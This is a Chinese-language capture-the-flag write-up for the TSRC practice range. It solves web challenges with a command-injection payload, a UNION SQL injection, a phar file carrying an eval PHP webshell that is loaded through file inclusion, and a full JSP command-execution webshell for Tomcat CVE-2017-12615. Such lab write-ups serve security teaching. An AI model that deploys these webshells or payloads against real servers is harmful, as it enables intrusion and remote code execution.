TSRC靶场赛-writeup

签到

文件上传JS验证，抓包or禁用JS

命令执行基础

啥都没过滤

payload:127.0.0.1|cat ../key.php

你能爆破吗

根据hint，爆破得到用户名admin、密码admin 再根据hint的cookie注入，继续判断字段、爆库、爆表、爆字段，得到flag 中间需要base64编码

成绩查询

union注入，同上

payload：-1' union select 1,2,3,flag from fl4g#

文件包含GetShell

文件上传点只能上传txt，再根据hint文件包含phar，就知道又是很简单的一个题目了，上传一个有后门的phar文件，扩展名改成.txt，然后phar文件包含就好了，连接，得到flag

生成phar文件 <?php $p = new Phar("my.phar", 0, 'my.phar'); $p->startBuffering(); $p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>'; $p->setStub("<?php Phar::mapPhar('myphar.phar'); __HALT_COMPILER();"); $p->stopBuffering(); ?> payload：http://dd5ae31d.yunyansec.com/lfi.php?file=phar://files/JSWOJf0mA0u3Aiyd.txt/shell

小猫咪踩灯泡

根据hint的tomcat远程代码执行（CVE-2017-12615），百度得到了exp，照葫芦画瓢

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n");}buf.close(); } catch (Exception e) { line.append(e.getMessage()); }return line.toString(); }%> <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){ out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); }else{ out.println(":-)"); }%>